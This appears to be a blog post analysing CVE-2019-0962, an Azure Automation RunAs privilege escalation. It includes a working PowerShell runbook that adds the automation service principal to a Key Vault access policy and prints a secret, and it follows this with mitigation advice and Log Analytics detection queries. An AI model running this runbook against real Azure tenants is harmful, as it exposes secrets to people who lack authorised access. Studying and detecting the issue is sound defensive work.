Microsoft recently published a security vulnerability coded CVE-2019-0962 indicating possible elevation of privilege when deploying an Azure Automation account.
From what the CVE says, an elevation of privilege vulnerability exists in Azure Automation “RunAs account” runbooks for users with contributor role. This vulnerability could potentially allow members of an organization to access Key Vault secrets through a runbook, even if these members would personally not have access to that Key Vault.
Testing
To me, it is not actually a security vulnerability. When you create a runbook and use RunAsAccount mode, Azure automatically creates a self-service certificate and a service principal that is granted Contributor role. If you have Runbook authoring privilege (RBAC) you can elevate the service principal to add itself to a target Key Vault access policy and read secret.
In a nutshell, there are three conditions for a successful exploitation:
- Global admin/co-admin who can create “RunAs” account.
- AzureRM.KeyVault module is imported into the exploitation runbook.
- Runbook Write (Microsoft.Automation/automationAccounts/runbooks/draft/content/write).
Below is the sample exploitation runbook to do ‘job’:
$connectionName = "AzureRunAsConnection"
$vaultName = "global-app-kv"
$secretName = "key"
$servicePrincipalConnection = Get-AutomationConnection -Name $connectionName
Add-AzureRmAccount -ServicePrincipal `
-TenantId $servicePrincipalConnection.TenantId `
-ApplicationId $servicePrincipalConnection.ApplicationId `
-CertificateThumbprint $servicePrincipalConnection.CertificateThumbprint
# Add AA's service principal to target KV Access Policy
Set-AzureRmKeyVaultAccessPolicy -VaultName $vaultName -ServicePrincipalName $servicePrincipalConnection.ApplicationId -PermissionsToSecrets Get,Set
# Reading secret's value
$secret = Get-AzureKeyVaultSecret -VaultName $vaultName -Name $secretName
Write-Output "Secret Value is:" $secret.SecretValueText
Run with Test Pane mode
Mitigation
The key issue here is Contributor role that is given to the automation account’s service principal. Obviously to mitigate the widespread access you need to grant the service principal only role you need. Microsoft provides the following PowerShell script to help check role assigned to automation account’s service principal in specified subscription and to help update a new role definition which exclude Azure Key Vault RBAC operation.
- Check-AutomationRunAsAccountRoleAssignment
- Update-AutomationRunAsAccountRoleAssignments
- Extend-AutomationRunAsAccountRoleAssignmentToKeyVault
You can control role manually though.
Monitoring & Detection
You can monitor Azure activities to ensure once the exploitation is executed you receive alert on time. For Key Vault access policy change audit, refer the following Log Analytics query:
AzureDiagnostics | where TimeGenerated >= ago(4h) | where OperationName == "VaultPatch" | project TimeGenerated, identity_claim_http_schemas_xmlsoap_org_ws_2005_05_identity_claims_upn_s, Resource, ResourceGroup
For Runbook write audit, refer to the following query;
AzureActivity | where TimeGenerated >= ago(4h) | where OperationName == "Microsoft.Automation/automationAccounts/runbooks/draft/write" | project TimeGenerated, Caller, CallerIpAddress, Resource, ResourceGroup, ResourceId